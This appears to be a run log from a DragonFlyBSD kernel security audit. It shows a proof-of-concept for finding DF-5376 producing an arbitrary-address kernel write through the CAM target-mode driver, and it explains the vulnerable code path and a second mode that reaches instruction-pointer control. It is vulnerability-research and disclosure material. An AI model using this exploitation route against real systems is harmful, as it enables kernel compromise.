⬢ DragonFlyBSD Kernel Audit
DF-5376 / run.log
← back to finding ↓ download raw
# DF-5376 mode A (clean arbitrary-address kernel-write demo; guest stays up)
# guest root, targsim rig on bus 2, offsets from hw.targsim.off
root@dfbsd# kldload ./targsim.ko
root@dfbsd# ./poc5376 a
[+] DF-5376 mode a: target mode enabled on bus 2
[*] before: fake ccb_h.status = 0, fake dev->qfrozen_cnt = 0x11110000
[*] write() returned 8
[*] after : fake ccb_h.status = 0x42 (CAM_REQ_ABORTED|CAM_DEV_QFRZN = 0x42)
[*] after : fake dev->qfrozen_cnt = 0x11110001 (was 0x11110000)
[+] REPRODUCED: kernel wrote to both user-chosen addresses inside the mmap page (arbitrary-address kernel write primitive)
rc=0
# Interpretation: xpt_action(XPT_ABORT) at cam_xpt.c:3075 read func_code
# (0x901 = XPT_SCSI_IO, DEV_QUEUED) and pinfo.index (CAM_UNQUEUED_INDEX)
# from the *userland* fake CCB the daemon put in cab.abort_ccb (forwarded
# verbatim by targwrite:626 because targusermerge returned ESRCH, not
# EFAULT), then took branch 2 (cam_xpt.c:3094-3100):
#   abort_ccb->ccb_h.status = CAM_REQ_ABORTED|CAM_DEV_QFRZN   -> 0x42 @ fake
#   xpt_freeze_devq(abort_ccb->ccb_h.path, 1)                 -> qfrozen_cnt++
#   start_ccb->ccb_h.status = CAM_REQ_CMP                     -> write() ok
# Both destination addresses were chosen by the daemon (mmap page); aiming
# them at kernel addresses gives an arbitrary kernel increment + status
# write. Mode B (index=1) additionally reaches xpt_done(fake) -> fake
# struct cam_sim linked onto kernel-global cam_simq -> camisr_runqueue
# calls fake ccb_h.cbfcnp = 0x414141414140 (RIP control).